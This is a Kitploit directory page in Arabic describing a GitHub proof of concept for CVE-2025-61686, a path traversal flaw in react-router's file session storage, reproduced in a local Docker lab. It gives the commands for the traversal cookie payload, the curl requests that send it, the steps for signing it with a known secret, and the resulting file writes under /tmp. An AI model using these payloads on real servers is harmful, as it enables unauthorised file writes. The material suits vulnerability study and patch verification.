Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-61686_docker — ملف Dockerfile وPoC لإعادة إنتاج CVE-2025-61686 | Kitploit
أدوات/GitHubGitHub/flowerwitch/cve-2025-61686_docker
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubflowerwitch/cve-2025-61686_docker

CVE-2025-61686_docker

ملف Dockerfile وPoC لإعادة إنتاج CVE-2025-61686

عرض المستودع
1منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-61686_docker

البدء

  1. البناء
root@kitploit:~
docker-compose up --build
  1. التشغيل
root@kitploit:~
docker-compose up

خطوات إعادة الإنتاج

  1. قم بإنشاء session يستوفي شروط تجاوز المسار
root@kitploit:~
└─$ echo -en '"AAAA../../../tmp/flower"'|base64 -w0 | tr '+/' '-_' | tr -d '='
IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg 
  1. ضع الـ session المُنشأ في Cookie وأرسل الطلب
root@kitploit:~
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi90bXAvZmxvd2VyIg' 'http://localhost:3001/'
  1. التحقق
root@kitploit:~
root@de14139fdebf:/app# ls /tmp
flower

سبب الثغرة

من خلال مقارنة النسختين المعنيتين بالثغرة 7.9.3 و7.9.4، يمكن ملاحظة أن السبب الرئيسي يعود إلى مشكلة في معالجة الـ session داخل الدالة getFile() في الملف react-router/packages/react-router-node/sessions/fileStorage.ts.

root@kitploit:~
export function getFile(dir: string, id: string): string {
  // Divide the session id up into a directory (first 2 bytes) and filename
  // (remaining 6 bytes) to reduce the chance of having very large directories,
  // which should speed up file access. This is a maximum of 2^16 directories,
  // each with 2^48 files.
  return path.join(dir, id.slice(0, 4), id.slice(4));
}

هنا يتم استخدام الأحرف الأربعة الأولى من الـ session كـ اسم المجلد، وما بعدها كـ اسم الملف، لذا يكفي للمهاجم فقط استخدام الطريقة التالية لتحقيق تجاوز المسار. وهذا ما يعنيه إعلان الثغرة عندما يقول إنه يمكن تحقيق تجاوز الدليل بسهولة في الحالة التي يسمح فيها الـ session بعدم استخدام secret. بالطبع، إذا تمكن المهاجم من الحصول على secret المستخدم لتشفير الـ session، فسيتمكن أيضًا من إنشاء حمولة التجاوز المقابلة.

root@kitploit:~
>>> import os
>>> os.path.join("./sessions", "aaaa","../../tmp/flowerwitch")
'./sessions/aaaa/../../tmp/flowerwitch'

الاستغلال عند معرفة secret

في حال الحصول على secret، يمكن الرجوع إلى دالة sign() واستخدام secret لتوقيع الـ PoC.

root@kitploit:~
export const sign = async (value: string, secret: string): Promise<string> => {
  let data = encoder.encode(value);
  let key = await createKey(secret, ["sign"]);
  let signature = await crypto.subtle.sign("HMAC", key, data);
  let hash = btoa(String.fromCharCode(...new Uint8Array(signature))).replace(
    /=+$/,
    "",
  );

  return value + "." + hash;
};
صورة

أرسل طلبًا باستخدام الـ session المُولّد

root@kitploit:~
└─$ curl -H 'Cookie: session=IkFBQUEuLi8uLi8uLi8uLi90bXAvZmxvd2Vyd2l0Y2gi.L2ffutps16%2B3ENWvuWy4ZCouT%2BPSVeqmQOeaW%2FjziXg' 'http://localhost:3001/'

تأكيد تفعيل الثغرة

root@kitploit:~
root@eb8750bd4a56:/tmp# ls
flowerwitch

البرنامج النصي لتوليد التوقيع use_secret_create_payload.js

تنزيل الأداة